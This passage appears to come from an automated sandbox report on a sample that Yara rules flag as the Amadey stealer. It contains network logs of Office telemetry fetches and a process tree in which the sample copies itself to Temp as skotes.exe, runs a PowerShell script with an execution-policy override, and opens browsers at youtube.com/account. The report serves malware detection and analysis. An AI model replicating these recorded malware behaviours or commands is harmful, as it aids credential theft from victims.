20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:22 UTC	192	OUT	GET /rules/rule700901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:23 GMT Content-Type: text/xml Content-Length: 1408 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1038EF2" x-ms-request-id: 1ebeca68-b01e-0002-5b8c-3a1b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032323Z-178bfbc474bxkclvhC1NYC69g4000000059g00000000d9mw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:23 UTC	1408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:24 UTC	192	OUT	GET /rules/rule700900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:24 GMT Content-Type: text/xml Content-Length: 1371 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED3D048D" x-ms-request-id: feb5dc0b-f01e-0085-622f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032324Z-178bfbc474bfw4gbhC1NYCunf400000005b000000000edbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:24 UTC	1371	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4e 61 74 75 72 61 6c 4c 61 6e 67 75 61 67 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6f 66 69 6e 67 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.NaturalLanguage" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProofing" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:24 UTC	192	OUT	GET /rules/rule702251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:24 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:24 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F427E7" x-ms-request-id: 864d28d7-e01e-0033-4a1c-3e4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032324Z-178bfbc474bvjk8shC1NYC83ns00000005ag000000001gk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:23:24 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:24 UTC	192	OUT	GET /rules/rule702250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:25 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDD0A87E5" x-ms-request-id: cae82f93-f01e-0071-031c-3d431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032324Z-178bfbc474b9fdhphC1NYCac0n000000057000000000gy92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:25 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 4c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 4c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ML" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenML" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:24 UTC	192	OUT	GET /rules/rule702651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:25 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC600CC" x-ms-request-id: 04da812a-201e-006e-55ee-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032325Z-178bfbc474btvfdfhC1NYCa2en00000005eg00000000aebs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:25 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:25 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:25 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: e345eedb-001e-000b-3d63-3b15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032325Z-178bfbc474bpscmfhC1NYCfc2c00000003zg000000009c4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:25 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:26 UTC	192	OUT	GET /rules/rule703101v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE0F93037" x-ms-request-id: d8dc173b-d01e-007a-5d6c-3df38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032326Z-15b8b599d88tmlzshC1TEB4xpn00000003q000000000g9kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:23:26 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703101" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS"

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:23:26 UTC	192	OUT	GET /rules/rule703100v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:23:27 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:23:27 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBCD5699" x-ms-request-id: 0e276ec9-601e-0097-60fd-3df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032327Z-178bfbc474b7cbwqhC1NYC8z4n00000005a0000000009ywx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:23:27 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 31 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 41 54 53 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 41 54 53 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703100" V="1" DC="SM" EN="Office.Telemetry.Event.Office.MATS" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMATS" S="Medium" /> <F T="2">

Target ID:	0
Start time:	22:21:56
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x310000
File size:	1'921'024 bytes
MD5 hash:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2041944426.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2082959480.0000000000311000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:21:59
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xec0000
File size:	1'921'024 bytes
MD5 hash:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2080301971.0000000005470000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2120598365.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:21:59
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xec0000
File size:	1'921'024 bytes
MD5 hash:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2082994524.0000000005440000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2123212600.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:23:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xec0000
File size:	1'921'024 bytes
MD5 hash:	5CA58D76EDC0E7291BF3D6BAD7EDBBE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2672497504.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	22:23:28
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008615041\KQGBYWk.ps1"
Imagebase:	0x7f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:23:28
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:23:30
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:23:30
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.youtube.com/account
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:23:31
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:23:31
Start date:	23/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	22:23:31
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1896,i,6279673356786267124,1049991761834270204,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	22:23:32
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2096,i,9265304522972539897,9185506368956134932,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:23:32
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:23:32
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	22:23:32
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
